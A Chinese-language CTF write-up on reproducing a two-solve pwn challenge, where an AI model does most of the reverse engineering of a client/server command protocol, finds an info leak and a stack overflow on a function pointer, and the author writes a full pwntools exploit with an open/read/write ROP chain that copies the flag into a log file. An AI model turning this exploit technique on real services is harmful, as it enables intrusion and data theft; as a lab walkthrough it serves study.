前言

本文进行一次利用 AI 从没看到独立复现 2 解题目的尝试,这里分享一下思路。题目本身的主要难度在逆向层面,需要分析每一个指令的参数和功能,并能找到指令中的漏洞

功能分析

基本信息

拿到题目之后看一下基本信息,docker 里在后台运行了 bin/server 程序,然后 xinetd 监听 8888 端口,启动 bin/client 程序。我们需要使用 nc 和 client 交互,client 再和 server 交互。

1
2
3
4
5
6
7
8
.
├── bin
│   ├── client
│   └── server
├── ctf.xinetd
├── docker-compose.yml
├── dockerfile
└── start.sh

先 nc 上去看一下,这里是提前看了下字符串随便试了试,看起来像是从 client 向 server 发送 cmd 指令

经过几轮对话,让 AI 分析 client/server 的逻辑,基本功能就比较清晰了

  • server:接收到数据包后通过使用 handle_client_protocol 函数解析,具体 CMD 使用 dispatch_command_handler 处理,根据 CMD ID 进入不同的逻辑
  • client:封装用户指令成数据包后和 server 交互

CMD ID 表格

接下来我们去分析根据 client 程序中分析每一个 CMD 对应的 ID,不过 AI 一开始并没有给出每一个命令对应的 ID,我们需要人工干预一下。


继续让 AI 整理一下这两张表就有

命令名称 命令 ID 功能描述 参数说明 数据包格式
help - 显示帮助信息 无参数
hello 1 发送 hello 消息 ​[client_name]​(可选,默认为”client”) ​[client_name]​
register 16 注册操作(字符串方式) ​[4B 长度][数据]​
register_hex 16 注册操作(十六进制方式) ​[4B 长度][数据]​
list 22 列出所有项目 无参数
partial_delete 19 部分删除操作 ​[4B id1][4B id2]​
show 20 显示指定项目 ​[4B id]​
update 17 更新操作 ​[4B id1][4B id2][4B 长度][数据]​
exec 18 执行命令 ​[4B id][2B param][4B 长度][数据]​
exechex 18 执行命令(十六进制参数) ​[4B id][2B param][4B 长度][数据]​
execf 18 执行命令(带指针参数) [ptr_hex]​ ​[4B id][2B param][4B 长度][数据]​
oracle_unlock - Oracle 解锁功能 无参数
oracle_guess 18 Oracle 猜测字节 <0x00..0xff>​ ​[4B pid][2B 0x3733][4B 长度][payload]​
oracle_leak 18 Oracle 泄露字节 [size]​(默认 size=8) ​[4B id][4B长度][数据]​
bye 255 退出程序 无参数

CMD 功能分析

CMD 的 ID 和参数格式都有了,接下来分析每个指令的详细功能

指令功能

CMD 1: hello

功能 : 初始化会话并生成会话密钥

  • 从客户端数据中提取客户端名称
  • 生成一个随机的会话密钥(generate_session_key​)
  • 将会话密钥存储在 SessionManager​ 中
  • 设置响应状态码为 2
  • 返回 8 字节的会话密钥(大端序)和 “WELCOME” 字符串
  • 输出会话密钥到 stdout(十六进制格式)

关键代码路径 :

1
2
3
4
5
6
session_key = generate_session_key(qword_FA40);
*a8 = session_key; // 存储会话密钥
*a9 = session_key;
srv->session_mgr->session_key = session_key;
*a10 = 2; // 状态码
// 返回: [8字节会话密钥] + "WELCOME"

CMD 16: register

功能 : 注册一个新的 Profile

  • 读取客户端发送的字符串数据(长度 ≥ 4 字节)
  • 验证数据长度是否充足
  • 计算数据的 CRC 32 校验值
  • 与固定值 0 x 13579 BDF​ 异或后比较校验和
  • 如果校验通过,设置会话管理器的标志位
  • 调用 create_profile​ 创建新的 Profile
  • 返回 “OK” + 4 字节的 Profile ID

关键验证逻辑 :

1
2
3
4
5
crc32_value = calculate_crc32(data, length);
if ((session_mgr->session_key ^ 0x13579BDF) == crc32_value) {
session_mgr->session_key |= 0x0100; // 设置标志位
profile_id = create_profile(session_mgr, data);
}

返回 : “OK” + [4 字节 Profile ID]​

CMD 19: partial_delete

功能 : 删除指定 Profile 中的指定 Blob

  • 检查是否已经使用过此命令(只能使用一次)
  • 读取两个 4 字节参数: id 1​(Profile ID) 和 id 2​(Blob ID)
  • 查找对应的 Profile
  • 在 Profile 的 Blob 列表中查找指定的 Blob
  • 将 Blob 的第二个 vector 清空(通过设置 end = start)
  • 设置一个标志表示已删除
  • 随机分配 0-2 个虚假的内存块(大小 8-71 字节)后立即释放
  • 返回 “Delete done”

关键限制 :

  • LOBYTE(session_mgr->session_key) == 0​ 必须为真(只能调用一次)
  • 调用后设置 LOBYTE(session_mgr->session_key) = 1​

可能的漏洞点 : Blob 的 end 指针被设置为 start,但内存未释放,可能导致 Use-After-Free

CMD 20: show

功能 : 显示指定 Profile 的所有 Blob 数据

  • 读取 4 字节的 Profile ID
  • 查找对应的 Profile
  • 检查 Profile 是否被标记为已删除(*(v 117 + 64) != 0​)
  • 将所有 Blob 的数据拼接后返回
  • 返回: “OK” + [4 字节总长度] + [所有 Blob 数据]​

数据格式 :

1
"OK" + [4B length] + [blob1_data][blob2_data]...

CMD 17: update

功能 : 更新或创建 Blob

  • 读取参数: id 1​(Profile ID), id 2​(Blob ID), data​
  • 查找对应的 Profile 和 Blob
  • 如果 Blob 存在,更新其数据
  • 如果 Blob 不存在且数量 < 64,创建新 Blob
  • 分配 0-2 个随机大小的内存块(8-71 字节)后立即释放
  • 返回 “OK” + 原始的 id 1 和 id 2

Blob 数量限制 : 最多 64 个((v 152 - v 151) <= 0 x 3 F​)

CMD 18: exec/exechex/execf

功能 : 执行操作或验证魔术字节

  • 读取参数: id​(4 B), param​(2 B), data​
  • 验证数据长度
  • 如果 param == 0 x 1337​ 且会话已解锁:
    • 调用 verify_magic_bytes​ (Oracle 相关)
  • 否则调用 execute_operation​
  • 返回 “OK: “ 或 “ERR: “ + 结果信息

特殊参数 0 x 1337: Oracle 解锁功能的入口

Oracle 相关 :

1
2
3
if (BYTE1(session_mgr->session_key) && param == 0x1337) {
verify_magic_bytes(srv, id, &data, &result, session_key);
}

CMD 22: list

功能 : 列出所有 Profile ID

  • 遍历 SessionManager​ 中的 Profile 红黑树
  • 收集所有 Profile 的 ID
  • 返回: [4 字节数量] + [ID 1][ID 2]…[IDn]​

返回格式 :

1
[4B count] + [4B id1] + [4B id2] + ... + [4B idn]

CMD 255 (a 2 == -1): bye

功能 : 断开连接

  • 返回 “BYE” 字符串
  • 设置状态码为 3,指示服务器关闭连接

Oracle 系列

在表格里看到了一些比较奇怪的指令,重点测试 oracle 和 exec

在执行这个 oracle 指令之前需要先 oracle_unlock 解锁功能,笔者发现 ​oracle_leak idx 8​ 可以泄露出基地址,这里的 idx 是通过 register 注册的索引

Exec 系列

测试的时候发现 exec 系列不知道怎么调用,继续让 AI 分析


这里因为不知道 param 和 op_type 是怎么传的,所以需要调试一下,在 0000000000005F6B 下断点,然后执行 exechex 1 2 aabbccddeeff

结合代码能看出来 op_type 是 data 部分的第一个字节,接着 4 字节是最后 payload 的长度


成功执行

漏洞分析

在对话的过程中顺带帮我分析出来了一个栈溢出漏洞,还给出了栈布局

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
High Address
┌─────────────────────────────────────────────────┐
│ │
│ Caller's Stack Frame │
│ │
├─────────────────────────────────────────────────┤ <- rbp+0x10
│ Return Address (8 bytes) │ <- rbp+0x08 [TARGET!]
├─────────────────────────────────────────────────┤
│ Saved RBP (8 bytes) │ <- rbp+0x00
├─────────────────────────────────────────────────┤
│ var_40: Stack Canary (8 bytes) │ <- rbp-0x40
├─────────────────────────────────────────────────┤
│ var_50: v37 (int, 4 bytes) │ <- rbp-0x50
├─────────────────────────────────────────────────┤
│ var_51: v36 (char, 1 byte) │ <- rbp-0x51
├─────────────────────────────────────────────────┤
│ ...other local variables... │
├─────────────────────────────────────────────────┤
│ var_148: v35 (function pointer, 8 bytes) │ <- rbp-0x148
├─────────────────────────────────────────────────┤
│ │
│ dest[64]: Target Buffer │ <- rbp-0x188
│ ┌──────────────────────────────────┐ │
│ │ 64 bytes buffer │ │
│ │ (but we copy up to 312 bytes!) │ │
│ └──────────────────────────────────┘ │
├─────────────────────────────────────────────────┤
│ src: __m128i (16 bytes) │ <- rbp-0x198
├─────────────────────────────────────────────────┤
│ n: size_t (8 bytes) │ <- rbp-0x1A0
├─────────────────────────────────────────────────┤
│ p_src: void* (8 bytes) │ <- rbp-0x1A8
├─────────────────────────────────────────────────┤
│ ...more variables... │
└─────────────────────────────────────────────────┘
Low Address

Distance calculations:
- dest to saved rbp: 0x188 = 392 bytes
- dest to return addr: 0x188 + 8 = 400 bytes
- Overflow space: 312 - 64 = 248 bytes
- Can overwrite: 248 bytes beyond dest[64]

不过他认为可以修改返回地址,但这实际上是修改不到的,因为我们只能写入 0x140

指出这一点之后,AI 分析出来 v35 指针可以利用,也就是

测试之后发现成功控制了 call rax​

1
2
3
payload = cyclic(0x140)
data = p8(0x41) + p32(len(payload)) + payload
run(f"exechex {idx} 2 {binascii.hexlify(data).decode()}")

漏洞利用

在所有的指令功能都分析完之后,其实已经比较清晰了,先用 oracle 泄露地址,然后在利用 exec 的栈溢出漏洞。

AI 也给了攻击流程,和最终实现的 exp 已经没有太大差别了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
┌─────────────────────────────────────────────────────┐
│ 攻击流程 │
└─────────────────────────────────────────────────────┘

1. CMD_HELLO (0x01)

获取 session_key

2. CMD_REGISTER_PROFILE (0x10)

认证成功 (oracle_unlock)

3. oracle_guess (CMD_EXEC_OP param=0x1337)

暴力破解 magic_table[0..7]

4. oracle_leak (CMD_EXEC_OP)

泄露栈地址、堆地址、canary

5. CMD_EXEC_OP (param=0x42, op_code=0x41)

触发栈溢出

6. ROP Chain执行

获取Shell

题目开了沙箱,禁用了 exec,由于我们无法直接和 server 交互,所以不能用常规的 orw 来读 flag

结合 client 程序在启动的时候会读取并输出 client.log 的文件内容,可以把 flag 内容写入到 client.log 文件,rop 执行之后,再启动一个终端 nc 就能拿到 flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwnkit import *
from pwnkit.osys.linux.ropbox import GadgetBox
import binascii

args = init_pwn_args()
binary = ELF("./bin/server")
args.info.binary = context.binary = binary
args.info.target = {"host": args.host or "example.pwnme", "port": args.port or 9999}

if not args.remote:
_host, _port = gift.dbgsrv.init()
host, port = "127.0.0.1", 8888
pk.core.config.config_context_terminal()

p = pwntube(args) if args.remote else remote(host, port)


def run(cmd):
p.sendlineafter(b"> ", cmd)


run(b"hello")
run(b"oracle_unlock")
run(b"register aaa")
run(b"list")

p.recvuntil(b"count=")
num = int(p.recvline())
for i in range(num):
idx = p.recvline().strip()[2:]
idx = int(idx)
log.info("latest idx: %d", idx)

run(f"oracle_leak {idx} 8".encode())
p.recvuntil(b"addr=")
text_leak = p.recvline().strip()
text_leak = int(text_leak, 16)
text_base = text_leak - 0x2e60
plog.address(text_leak=text_leak, text_base=text_base)

gb = GadgetBox(binary)
pop_rdi_ret = text_base + next(gb.search_gadget(["pop rdi", "ret"]))
pop_rsi_r15_ret = text_base + next(gb.search_gadget(["pop rsi", "pop r15", "ret"]))
add_edx_edi_ret = text_base + 0x2a94 # 0x0000000000002a94: add edx, edi; nop; ret;
add_rsp_0xc0_ret = text_base + 0x2a84 # 0x0000000000002a84: add rsp, 0xc0; ret;
open_addr = text_base + binary.plt["open"]
read_addr = text_base + binary.plt["read"]
write_addr = text_base + binary.plt["write"]

""" open/read/write rop """
path_flag = text_base + 0xc000 + 0x10
path_log = path_flag + 15
buf = text_base + 0xc000 + 0x100 # read buf
size = 0x100

payload = b"/home/ctf/flag\x00"
payload += b"/home/ctf/client.log\x00"
payload = payload.ljust(64, b"\x00")
payload += p64(add_rsp_0xc0_ret)
# int fs = open(path, O_RDONLY, NULL)
payload += p64(pop_rdi_ret) + p64(path_flag) # rdi = "/path/to/flag"
payload += p64(pop_rsi_r15_ret) + p64(0) + p64(0) # rsi = 0 == O_RDONLY
payload += p64(open_addr)
# int fs = open(path, O_RWONLY, NULL)
payload += p64(pop_rdi_ret) + p64(path_log) # rdi = "/path/to/flag"
payload += p64(pop_rsi_r15_ret) + p64(1) + p64(0) # rsi = 0 == O_RDONLY
payload += p64(open_addr)
# read(fs, buf, size)
payload += p64(pop_rdi_ret) + p64(0x100) + p64(add_edx_edi_ret) # edx = 0x100
payload += p64(pop_rdi_ret) + p64(5) # rdi = fs
payload += p64(pop_rsi_r15_ret) + p64(buf) + p64(0) # rsi = buf
payload += p64(read_addr)
# write(1, buf, size)
payload += p64(pop_rdi_ret) + p64(6) # rdi = fs
payload += p64(pop_rsi_r15_ret) + p64(buf) + p64(0) # rsi = buf
payload += p64(write_addr)
data = p8(0x41) + p32(len(payload)) + payload
run(f"exechex {idx} 2 {binascii.hexlify(data).decode()}")

p.interactive()
p.close()

总结

整个复现过程,基本上只有 rop 是自己写的,绝大部分的分析过程都是 AI 做的,人工主要是测功能和指导 AI 的分析方向。目前 AI 针对一些比较小的程序,分析效果还是不错的。